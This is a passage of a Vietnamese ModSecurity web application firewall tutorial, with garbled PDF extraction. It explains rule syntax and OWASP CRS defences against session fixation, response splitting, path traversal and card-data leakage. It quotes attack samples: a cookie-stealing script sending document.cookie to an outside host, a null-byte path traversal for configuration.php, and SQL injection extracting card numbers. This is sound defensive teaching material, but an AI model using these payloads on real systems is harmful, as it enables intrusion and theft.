và @pm thường được sử dụng nhiều trong các rule phân tích, bởi vì tính linh động của @rx và
tốc độ xử lý của @pm. Trong một số trường hợp khác thì các toán tử còn lại sẽ hỗ trợ bạn phát
triển các rule tùy theo mục đích chi tiết.
Operator Description
@beginsWith Input begins with parameter
29
Numerical operators
Trong bảng dưới liệt kê các toán tử hỗ trợ so sánh các giá trị số. Trong phiên bản
ModSecurity trước 2.5.12 thì việc so sánh các giá trị số học phải thông qua regular expression,
việc này làm ảnh hưởng lớn đến hiệu năng hoạt động của server.
Operator Description
@eq Equal
Validation operators
Các toán tử kiểm tra mà ModSecurity hỗ trợ được liệt kê trong bảng sau:
Operator Description
@validateByteRange Validates that parameter consists only of
allowed byte values
Miscellaneous operators
Và phân nhóm operator cuối cùng mà ModSecurity hỗ trợ cho phép bạn tạo ra một số rule
với các chức năng lọc khá hữu dụng như: phát hiện lộ thông tin credit card (@verifyCC), kiểm
tra vùng địa lý của IP người dùng (@geoLookup), kiểm tra lộ thông tin số an sinh xã hội
(@verifySSN )…
Operator Description
@geoLookup Determines the physical location of an IP
address
30
MatchF), as of 2.7.0
Actions
Các hành vi (action) là điểm mạnh của ModSecurity cho phép hệ thống web có khả năng
miễn dịch với một số loại khai thác đã biết đến. Các action là thành phần cuối cùng trong một
rule, Apache sẽ quyết định kết quả trả về phía người dùng (thông báo lỗi, hủy kết nối hoặc cho
phép truy cập…)
• Disruptive actions
• Flow actions
• Metadata actions
• Variable actions
• Logging actions
• Special actions
• Miscellaneous Actions
Disruptive actions
Trong phân nhóm này, các action được sử dụng nhằm mục đích ngăn chặn hoặc chuyển
hướng kết nối trong trường hợp ModSecurity phát hiện mẫu tấn công trùng khớp.
Action Description
allow Stop processing of one or more remaining
phases
Flow actions
Action Description
chain Connect two or more rules into a single logical
rule
31
Metadata actions
Phân nhóm này cho phép bạn định nghĩa các thông tin mô tả về rule. Các thông tin này
thường được dùng để mô tả thông báo lỗi (error message), giải thích nguyên nhân xuất hiện lỗi
hoặc cách khắc phục đề nghị.
Action Description
id
Assign unique ID to a rule
severity Severity
tag Tag
Variable actions
Cách hành vi trong nhóm này được liên hệ với các giá trị biến (Variables), các action này
cho phép gán giá trị (set), thay đổi (change) và xóa (remove) giá trị mà các biến lưu trữ.
Action Description
capture Capture results into one or more variables
Logging actions
Các action trong phân nhóm ghi log chỉ dẫn ModSecurity phương thức và nơi lưu trữ log.
Các action ảnh hưởng đến việc ghi log trong rule là auditlog, log, noauditlog và nolog. Để điều
khiển quá trình ghi log, bạn cần tham khảo ctlaction.
Action Description
auditlog Log current transaction to audit log
32
Special actions
Action Description
ctl Change configuration of current transaction
t
Specify transformation functions to apply to
variables before matching
Miscellaneous Actions
Action Description
append Append content to response body
Trong phần hướng dẫn này, tôi sẽ bắt đầu với một rule đơn giản gồm một biến và một chuỗi
(string) như sau:
Với biểu thức so sánh như trên thì ModSecurity thực thi kiểm tra dữ liệu trong URI từ phía
người dùng và xác định có sự tồn tại của chuỗi <script> hay không. Tuy nhiên, bạn có thể sử
dụng thêm một operator vào rule trên để tăng hiệu quả kiểm tra trong ModSecurity, tôi sẽ viết
lại rule trên như sau:
SecRule REQUEST_URI @rx
" <script>"
ModSecurity hỗ trợ nhiều loại operator khác nhau. Một số có cùng chức năng, nhưng các
operator sẽ có ảnh hưởng khác nhau đến hiệu suất của hệ thống. Trong ví dụ tôi đưa ra thì
chuỗi <script> không phải là một biểu thức so sánh, bởi vì chúng không chứa ký tự đặc biệt để
xác định đây là một mẫu biểu thức. Tôi có thể viết lại rule trên bằng các sử dụng @contains để
tối ưu:
SecRule REQUEST_URI @contains
" <script>"
Trong một rule, bạn có thể sử dụng nhiều biến khác nhau bằng cách dùng ký tự pipe “|” để
phân cách:
Nhóm các biến được dùng trong một rule được gọi là collection. Trên thực tế, các rule được
viết có thể chứa nhiều hơn một thành phần tham số (parameter), ta có thể dùng dấu hai chấm
“:” để phân cách biến và tên của tham số.
Ta có thể sử dụng cấu trúc như ví dụ trên để so trùng bằng mẫu biểu thức, ví dụ bên dưới sẽ
tìm chuỗi <script> trong các tham số bắt đầu bằng ký tự p:
Biến ARGS mặc định sẽ theo dõi tất cả các tham số nếu bạn không chỉ định tên tham số
hoặc biểu thức mẫu. Việc liệt kê các tham số giúp giảm thiểu tài nguyên hệ thống và năng hiệu
suất theo dõi của ModSecurity. Trong một số trường hợp, bạn có thể sử dụng toán tử phủ định
(operator negation) để loại bỏ một nhóm biến trong rule, bằng cách thêm dấu chấm than vào
trước nhóm biết mà bạn không sử dụng:
ModSecurity cho phép bạn liên kết các SecRule riêng lẽ với nhau thành một SecRule duy
nhất thông quan từ khóa chain. Liên kết các rule sẽ giảm thiểu các tình huống cảnh báo không
chính xác, giúp bạn đơn giản hóa việc viết rule trong trường hợp cần kiểm tra các điều kiện
mang tính chất tuần tự.
Trong ví dụ bên dưới, ModSecurity sẽ luôn thực hiện kiểm tra SecRule đầu tiên (kiểm tra
tham số p), nếu xảy ra trường hợp có dữ liệu trùng khớp thì rule tiếp theo (kiểm tra tham số q)
sẽ được kiểm tra.
ModSecurity cho phép bạn sử dụng phương pháp phủ định một thành phần bất kỳ trong rule.
Giả sử bạn muốn triển khai một rule có chức năng theo dõi người dùng đăng nhập ngoại trừ
user admin và root, ta có thể viết như sau:
Trong rule SecRule ARGS:p|ARGS:q !@eq" 5" thì ModSecurity sẽ trùng khi có một trong hai
tham số p hoặc q có giá trị bằng 5. Trường hợp bạn cần kiểm tra tham số p và q có giá trị bằng
5 thì ta sử dụng từ khóa chain:
34
Variable Counting
Bằng cách thêm ký tự “&” vào trước biến trong rule, bạn có thể thực hiện công việc đếm số
lần xuất hiện của một biến.
Trong rule bên dưới, ModSecurity thực hiện kiểm tra trong trường hợp tồn tại một tham số
username:
SecRule &ARGS:username @eq
" 1"
Để kiểm tra trong trường hợp có nhiều hơn một tham số username, ta viết lại rule như sau:
Hành vi (action) là thành phần thứ ba trong chỉ thị SecRule và là thành phần thứ nhất trong
chỉ thị SecAction. Một rule có thể không tồn tại action hoặc nhiều hơn một action. Nếu ta sử
dụng nhiều action trong một rule, ta có thể phân cách bằng dấu phẩy “,” hay khoảng trắng giữa
các action. Trong rule bên dưới, ta sử dụng 2 action là log và deny:
Một số action trong ModSecurity yêu cầu có tham số khi sử dụng. Trong trường hợp này, ta
cần phân cách action và tham số bởi dấu “:” . Một ví dụ về việc sử dụng hành vị deny các yêu
cầu đến server và gây lỗi “404 Not found”:
Một phần cần lưu ý đối với các hành vi có tham số chứa khoảng trắng hoặc ký tự “,” , bạn
nên chắc chắn rằng các tham số này được đặt trong một cặp dấu ngoặc đơn „‟.
SecRule ARGS K1 l"og,deny,msg:'Acme attack detected'"
Action Defaults
ModSecurity định nghĩa một ngữ cảnh được gọi là default action list (tạm dịch: danh sách
các hành vi mặc định), nhằm thực hiện chèn các giá trị này vào những rule không được chỉ
định action.
Giả sử, sau khi thực hiện cấu hình trong tập tin main.conf của ModSecurity, giá trị của
SecDefaultAction là phase:2,log,auditlog,pass. Ta có một rule đơn giản không được chỉ định
action:
Khi ModSecurity hoạt động, thì rule trên sẽ được hiểu như sau:
Bằng cách này, ModSecurity giúp bạn triển khai một rule dễ dàng hơn mà không cần phải
chỉ định một action lặp lại nhiều lần:
SecDefaultAction phase:2,log,deny,status:404
35
...
Unconditional Rules
Hành vi mà bạn thiết lập trong chỉ thị SecRule sẽ được thực hiện khi có mẫu trùng khớp với
các biểu thức, nhưng bạn cũng có thể sử dụng chỉ thị SecAction để triển khai các hành vi
(action) mà bạn định nghĩa sẵn. Chỉ thị SecAction cho phép chứa duy nhất một tham số
(parameter), tham số này được dùng để liên kết với thành phần thứ ba trong chỉ thị SecRule.
SecAction nolog,pass,setvar:tx.counter=10
Trong các phương pháp khai thác lỗ hổng ứng dụng web, hacker thường sử dụng các kỹ
thuật biến đổi dữ liệu (obfuscation) để vượt qua cơ chế kiểm tra. Để chống lại phương pháp
biến đổi, ModSecurity hỗ trợ chuyển đổi dữ liệu đầu vào trước khi thực hiện kiểm tra các tấn
công. Ví dụ:
Trong tấn công SQL Injection thì hacker thực hiện câu truy vấn:
“id=1&UniON%20SeLeCT %201,2,3,4,5,6” (trong trường hợp này ta cần chuyển đổi các ký tự
sang chữ thường (lowercase) trước khi kiểm tra)
Hoặc trong rule bên dưới, ModSecurity sẽ thực hiện chuyển các ký tự thành chữ thường,
đồng thời loại bỏ các ký tự khoảng trắng không cần thiết:
SecRule ARGS @contains
" delete from"\
phase:2,t:lowercase,t:compressWhitespace,block
delete from
DELETE FROM
deLeTe fRoM
Delete From
DELETE\tFROM –
Một số lý do bạn cần sử dụng chức năng chuyển đổi:
Với các khai thác sử dụng phương pháp encode base64, ta có thể áp dụng
t:base64Decode để decode dữ liệu đầu vào.
Tương tự Base64, với trường hợp hacker chuyển đổi kiểu dữ liệu thành dạng Hex
thì t:hexEncode nên được sử dụng để chuyển đổi sang dạng Plaintext.
36
Blocking
Các chỉ thị sử dụng trong ModSecurity được liên kết duy nhất với một action (hoặc chỉ thị
SecAction) để xử lý kết quả đã phân tích trước đó. Có ba trạng thái mà ModSecurity hỗ trợ
trong việc ngăn chặn tấn công:
Ngưng thực hiện pha hiện thời, nhưng tiếp tục thực hiện phiên trao đổi dữ liệu.
Ngưng thực hiện pha hiện thời, đồng thời ngừng trao đổi dữ liệu.
Giả sử trường hợp các rule trong ModSecurity được xử lý tuần tự từ rule đầu tiên đến rule
cuối cùng. Nếu có một giá trị trùng với mẫu so sánh, thì tiến trình kiểm tra trong các rule tiếp
sau đó nên được bỏ qua. Để thực hiện việc này, từ khóa skip có thể được đưa vào sử dụng như
sau:
SecRule ARGS K1 id:1,nolog,pass,skip:2
Với ví dụ trên, khi rule 1 trùng mẫu so sánh thì các rule tiếp sau sẽ không thực hiện kiểm tra.
Từ khóa skip thường được dùng như một phương pháp tối ưu hóa trong ModSecurity. Đôi
khi việc thực thi các nhóm rule có nhiều điều kiện sẽ làm lãng phí tài nguyên CPU. Trong
trường hợp này, bạn có thể thực hiện việc kiểm tra điều kiện của một rule và nên bỏ qua các
bước tiếp theo nếu điều kiện đầu vào không thỏa tiêu chí.
Ví dụ:
Trong các rule kiểm tra trong nhóm Cross Site Scripting (XSS) thì các mẫu tấn công như
UNION, ORDER BY, XP_CMD, ../../../, 1’ or 1=1 -- , … là không cần thiết phải kiểm tra. Việc
sử dụng từ khóa skip sẽ giúp tối ưu tài nguyên xử lý trong trường hợp này.
If -Then- Else
Tuy ModSecurity không hỗ trợ các từ khóa if then else trong cấu trúc rule, nhưng bạn vẫn
- -
có thể thực hiện cấu trúc kiểm tra điều kiện thông qua ví dụ bên dưới:
SecAction nolog,pass,skip:1
SecRule đầu tiên sẽ quyết định một rule được thực hiện bên dưới. Nếu trong rule 1 trùng
mẫu, thì hành vi skip được thực hiện và chuyển đến thực hiện rule 3. Tuy nhiên, nếu rule 1
không trùng mẫu thì rule 2 sẽ được thực hiện và SecAction sẽ được thực hiện sau đó. Cấu trúc
rẽ nhánh này đảm bảo ruel 3 sẽ không thực thi nếu rule 1 không trùng mẫu dữ liệu.
37
Capturing Data
Các biến trong nhóm TX được phân biệt bởi giá trị từ 0 đến 9. Những biến này được dùng
trong việc thu thập dữ liệu đầu vào. Để sử dụng chức năng thu thập dữ liệu, bạn cần chú ý hai
điều sau:
Sử dụng dấu ngoặc đơn () trong trường hợp dùng các biểu thức so sánh, việc này giúp
ModSecurity xác định vị trí dữ liệu cần thu thập.
Sử dụng hành vi carpture trong rule, nơi mà bạn muốn thu thập dữ liệu.
Giả sử trong ứng dụng web có sử dụng việc chèn một mã xác định phiên làm việc (session)
vào URI như bên dưới:
http://www.modsec.com/69d032331009e7b0/index.html
Yêu cầu đặt ra là bạn cần xác định giá trị 69d032331009e7b0 trong URI để phục vụ việc
kiểm tra session người dùng. Tham khảo biểu thức so sánh trong rule sau:
([0 9a fA f]{16})
- - - Nội dung SessionID là một chuỗi bao
TX.1 =
gồm 16 ký tự số, chữ thường, chữ hoa 69d032331009e7b0
Dưới dây là log audit quá trình ModSecurity thực hiện phân tích biểu thức:
"phase:1,auditlog,id:10000,nolog,pass,capture,setsid:%{TX.1}"
[4] Executing operator "rx" with param "^/([0 9a fA f]{16})/" against REQUEST_URI.
- - -
38
Variable Manipulation
Hầu hết các dữ liệu mà ModSecurity phân tích sẽ được thao tác ở chế độ chỉ đọc (dữ liệu
tĩnh hoặc không thay đổi). Tuy nhiên, ModSecurity cũng hỗ trợ việc tạo ra các biến có giá trị
thay đổi nhằm phục vụ một số mục đích cụ thể.
SecAction nolog,pass,setvar:tx.score=+2 #giá trị tx.score sẽ tăng 2 mỗi khi thực hiện
action.
SecAction nolog,pass,setvar:tx.score=-1 #giá trị tx.score sẽ giảm mỗi khi thực hiện
action.
Metadata
Metadata được dùng trong rule với mục đích hiển thị thông tin chi tiết về cảnh báo mà rule
tạo ra. Các thông tin này không gây ảnh hưởng đến quá trình phân tích dữ liệu. Tuy nhiên,
metadata sẽ hỗ trợ bạn dễ dàng quản lý các cảnh báo trong quá trình phân tích log, giúp xác
định nhanh chóng nguyên nhân và cách phòng tránh các khai thác vào web server.
Để rule 10001 được mô tả tốt hơn về thông báo lỗi, tôi sẽ tùy biến rule lại như sau:
"phase:1,t:none,log,block,id:1001,rev:2,\
39
#severity: thông báo mức độ nguy hiểm khi có cuộc tấn công vào hệ thống web (mức độ
nguy hiểm nhất là EMERGENCY (1) và ít nguy hiểm nhất là DEBUG (7).
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Replay Testing (OWASP -
WS 007)
-
Trong phần này, tôi sẽ phân tích trường hợp hạn chế việc khai thác vào các form html. Việc
sử dụng phương thức POST để nhận dữ liệu từ phía người dùng thường tạo ra nguy cơ gói tin
bị thay đổi trên đường truyền, nhầm thực hiện thêm/bớt dữ liệu phục vụ cho từng loại tấn công
khác nhau.
Để thực hiện chống lại phương pháp tấn công này, ta cần tham khảo các chỉ thị mà
ModSecurity hỗ trợ:
• SecDisableBackendCompression
• SecContentInjeciton
• SecStreamOutBodyInspection
• SecHashEngine
• SecHashKey
• SecHashParam
• SecHashMethodRx
Phương pháp này sẽ cho phép chèn một token kiểm tra vào dữ liệu HTML khi web server
(Apache) trả kết quả về phía người dùng. Bằng cách sử dụng hàm băm trên các tham số
trong phần thân HTML, ModSecurity sẽ chống lại việc chỉnh sửa thông tin trên kênh
truyền. Bên dưới là các rule và các chỉ thị hỗ trợ:
#vi /opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf
SecContentInjection On
SecStreamOutBodyInspection On
SecHashEngine On
SecHashParam rv_token
40
Chỉ thị đầu tiên SecDisableBackendCompression chỉ được sử dụng trong trường hợp
ModSecurity được triển khai như một reverse proxy. Dữ liệu trả về người dùng sẽ được nén
bằng thuật toán gzip nhằm giảm lưu lượng băng thông. Các chỉ thị SecEncryption tiếp theo
nhằm thông báo cho ModSecurity tạo ra chuỗi giá trị băm (hash value) ngẫu nhiên dựa trên
hash salt value và thành tố href trong phần thân HTML (xác định dựa trên mẫu đã được định
nghĩa regular expression).
Hình 6: Các liên kết trước khi thực hiện tạo token
41
Hình 7: Các liên kết sau khi thực hiện tạo token
Ta có thể theo dõi quá trình làm việc của ModSecurity bằng cách theo dõi debug log:
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php?rsd]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp -
content/themes/mog/main.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [wp -
content/themes/mog/style.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Josefin+Slab%3A600&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data
[css?family=Open+Sans&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xmlrpc.php]
[05/Jun/2013:17:25:51 +0700]
[www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php][4] Signing data [xfn/11]
Kiểm tra trong trường hợp các token trong URL cố tình bị loại bỏ tại phía người dùng, trong
trường hợp này kẻ tấn công thực hiện khai thác SQL Injection:
Trường URL
hợp
42
lệ
tactics/?rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e
token tactics/%20and%20union%20select%201,2,3,4,5,6
Trong trường hợp hacker cố tình loại bỏ token để chèn khai thác vào URL thì rule có id 1000
sẽ được so trùng và tạo cảnh báo tại audit_log.
[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed
(phase 2). Request URI matched "[a zA Z0 9]" at REQUEST_URI. No Hash parameter [file
- - -
"Ua8dEH8AAAEAAAyJBzMAAAAE"]
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Session
Fixation (OWASP SM 003)- -
Trong trường hợp này, tôi sẽ phân tích trường hợp hacker cố gắng tự tạo Seesion Cookie để
khai thác theo phương pháp Session Fixation.
o modsecurity_crs_40_appsensor_detection_point_2.3_session_exception.c
onf
ModSecurity
o setsid action
o setvar action
Tấn công khai thác Session (session guessing attack) là một dạng tấn công khá phổ biến
-
nhằm vào cookie_session trong ứng dụng web. Đối với những ứng dụng web thường dùng
cookie để xác thực (authentication), phân quyền (authorization) thì việc đoán trước giá trị
cookie sẽ cho phép hacker chiếm quyền phiên làm việc của một người dùng khác đã đăng nhập.
Trong ví dụ này, tôi sử dụng công cụ BurpSuite để phân tích phiên làm việc (SessionID) và
thống kê tính ngẫu nhiên của cookie do ứng dụng web tạo ra.
43
Sau khi phân tích 1090 Session Cookie ta được kết quả phân tích như sau:
44
45
Cookie đúng: hacker đăng nhập được vào trang quản trị người dùng.
Cookie sai: hacker được chuyển hướng sang trang yêu cầu đăng nhập.
Do phương pháp khai thác này là không khó, nhưng có thể tạo nên nguy cơ vượt qua cơ chế
xác thực người dùng, leo thang đặc quyền trong phần quản trị…
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw)?session[ -
_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
46
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Theo mặc định, thì rule 981062 sẽ tìm những tên cookie phổ biến như:
WORDPRESSPASS
SESSIONID
JSESSIONID
SESSID
PHPSESSID
SESSION
SESSION_ID
SESSION ID -
ASPSESSION
JSERVSESSION
JWSESSION
CFID
CFTOKEN
CFSID
Trong trường hợp ứng dụng của bạn sử dụng một tên cookie khác với danh sách trên, thì ta
có thể dễ dàng định danh thêm giá trị cho rule 981062. Đối với webiste http://demo.testfire.net/
sử dụng tên cookie là amSessionId, ta có thể chỉnh sửa cho phù hợp như sau:
"(?i:(wordpresspass_.*?|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[ -
_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%{TX.6},setvar:session.sessionid=
%{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Sau khi đã định danh được session_cookie do ứng dụng web tạo ra, ModSecurity sẽ tạo ra
thêm một cookie mới gởi đến người dùng, đồng thời cookie này cũng được lưu trữ tại server để
bảo đảm không có trường hợp hacker sử dụng cookie giả để login vào hệ thống. Tham khảo
rule tạo cookie mới như bên dưới:
#
47
#
-
https://www.owasp.org/index.php/AppSensor_DetectionPoints#SE2:_Adding_New_Cookie
#
# These rules will validate that the SessionID being submitted by the client is valid
#
SecRule
REQUEST_COOKIES:'/(wordpresspass_|j?sessionid|(php)?sessid|(asp|jserv|jw|am)?session[ -
Trong rule 981054, hành động (Action) setsid sử dụng giá trị amSessionId để làm giá trị lưu
trữ tại server như một thẻ định danh (indentify token). Sau đó, chuỗi kiểm tra quy tắc luận lý sẽ
xác định cookie trước đó có phù hợp hay không và trả kết quả vào biến valid. Giả sử trường
hợp hacker đưa vào một cookie không có thật, thì rule này sẽ thực hiện việc cảnh báo cho quản
trị hệ thống về nguy cơ khai thác session guesting. -
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for HTTP
Splitting/Smuggling (OWASP DV 016) - -
o Modsecurity_Crs_40generic_attacks.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
o @rx operator
Phương thức khai thác này thực hiện bằng cách chèn dữ liệu hoặc HTTP request giả vào một
HTTP header khác. Việc này dẫn đến kết quả tại phía người dùng sẽ nhận 2 phần dữ liệu khác
nhau trong cùng 1 trang HTML, là tiền đề cho các khai thác Cross user defacement, Cache
-
<?php
?>
48
Location: /lang_page.php?lang=english
Nếu tại phía người dùng, hacker cố tình chèn ký tự Carriage Return (CR) hoặc Linefeed
(LF) vào các tham số trong URL, thì dẫn đến kết quả gói tin tại phía người dùng bị tái cấu trúc
theo mục đích của hacker.
Trong bảng dưới đây mô tả dạng tấn công DOM XSS bằng cách chèn đoạn HTML vào phía
người dùng cuối, tuy nhiên việc tạo một gói tin chèn vào phía người dùng là khá phức tạp.
GET /index.php?language=english
Cotent Length: 0
-
<html><body%20onload='document.location.replace%20("http://www.swpag.info/cookie_tr
ap/"%252b%20document.cookie%252b"/URL/"%252bdocument.location);'></body></html>
HTTP/1.1
Bằng cách sử dụng ký tự %0d và/hoặc %0a thì ta có thể chuyển toàn bộ gói tin trên thành
một URL duy nhất:
GET /index.php?language=english%0aCotent -
Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent Type:%20text/html%0aContent - -
Length%20171:%0a%0a<html><body%20onload='document.location.replace%20("http://ww
w.swpag.info/cookie_trap/"%252b%20document.cookie%252b"/URL/"%252bdocument.locati
on);'></body></html> HTTP/1.1
Để phòng chống lại dạng tấn công HTTP Reponse spliting, ta có thể sử dụng rule như sau:
#
# =[ Rule Logic ]=
- -
# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.
# These characters may cause problems if the data is returned in a respones header and
#
# =[ References ]=
- -
#
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR
49
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,ctl:
auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',id:'950910',logdata:'Matched
Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id} -
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING %{matched_var_name}=%{tx.0}"
-
SecRule
REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|AR
GS_NAMES|ARGS|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|<(?:html|meta)\b)" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntityDe
code,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within
%{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{
tx.critical_anomaly_score},setvar:tx.%{rule.id} -
OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING %{matched_var_name}=%{tx.0}"
-
Trường hợp 4: Phòng chống phương pháp khai thác Path Traversal-
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Testing for Path Traversal
(OWASP AZ 001)
- -
o modsecurity_crs_42_tight_security.conf
ModSecurity
o REQUEST_URI variable
o REQUEST_BODY variable
o REQUEST_HEADERS variable
o XML variable
Path traversal là một phương pháp khai thác dựa vào thao tác trên URL nhằm truy cập bất
hợp pháp vào các tập tin tại server. Hầu hết các nguyên nhân gây lỗi là do phía mã nguồn web
cho phép đọc dữ liệu từ một tập tin khác, bằng cách thay đổi giá trị đường dẫn trong chức năng
đọc tập tin ta có thể vượt quyền truy cập sang các thư mục chứa dữ liệu khác. Đặc trưng của
phương pháp khai thác này là sử dụng chuỗi ký tự phân cách cấu trúc thư mục, bao gồm ký tự
(/ hoặc \) và/hoặc . (dấu chấm) để chỉ định đường dẫn trực tiếp đến tập tin cần khai thác. (Trích
CAPEC 126: Path Traversal http://capec.mitre.org/data/definitions/126.html)
-
50
tìm tài khoản đăng nhập cơ sở dữ liệu (phụ thuộc vào mã nguồn CMS mà website sử dụng).
Đối với một số webserver được cấu hình lọc một số dạng tập tin mở rộng, thì việc chèn thêm
ký tự null %00 vào cuối URL sẽ cho phép ta vượt qua cơ chế kiểm tra của webserver.
GET
/cart.php?a=add%26amp%3Bdomain%3Dtranfer%2Fcart.php%3Fa%3Dantisec&templatefile=
../../../../configuration.php%00 HTTP/1.1
Một số phương pháp biến đổi khác sẽ giúp cho hacker vượt cơ chế kiểm tra bởi webserver,
bảng dưới đây liệt kê một số kiểu biến đổi dữ liệu (chuỗi ban đầu /../):
Short UTF 8
- %c0%af%c0%ae%c0%ae%c0%af
Firt nibble
%%32F%%32E%%32E%%32F
%U %u002f%u002e%u002e%u002f
# Directory Traversal
51
SecRule
REQUEST_URI|REQUEST_BODY|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS
:Referer
"(?i)(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F
)|e0%80%af|1u|5c)|\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E)
)|\.){2}(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%4
6|F)|e0%80%af|1u|5c)|\/))" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'7',t:none,ctl:auditLogParts=+E,
block,msg:'Path Traversal Attack',id:'950103',severity:'2',logdata:'Matched Data: %{TX.0}
found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',t:none,capture,tag:'OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL'
,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:'
tx.%{rule.id} OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL
- -
%{matched_var_name}=%{matched_var}'"
# Weaker signature
%{matched_var_name}=%{matched_var}'"
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: SQL Injection (OWASP -
DV 005)
-
ModSecurity
o @verifyCCoperator
o modsecurity_crs_25_cc_known.conf
Việc rò rỉ thông tin người dùng như là số thẻ tín dụng (credit card number) là khá nghiêm
trọng đối với các ứng dụng thanh toán điện tử, cũng như các giải pháp ngân hàng. Thông
thường, việc lộ thông tin thường là kết quả của các cuộc tấn công SQL injection có mục đích
vào các trang thương mại điện tử, nhằm ăn cắp thông tin định danh thanh toán của người dùng.
Dưới đây là một ví dụ thực tế về việc ăn cắp thông tin của một ứng dụng web:
GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select
%20top%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'
N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),
52
'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)
,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd
ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert
(v
archar,OR_CCardType),'NULL'))%2b'/'%2bconvert(varchar,isnull(conver
t
(varchar,OR_CCardNumberenc),'NULL'))%2b'/'%2bconvert(varchar,isnu
ll(
convert(varchar,OR_CCardExpDate),'NULL'))%2b'/'%2bconvert(varchar
,is
null(convert(varchar,OR_CCardSecurityCode),'NULL'))%2b'/'%2bconve
rt(
varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b'/'%2bconvert(va
rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20Orders%2
0w
Cookie:
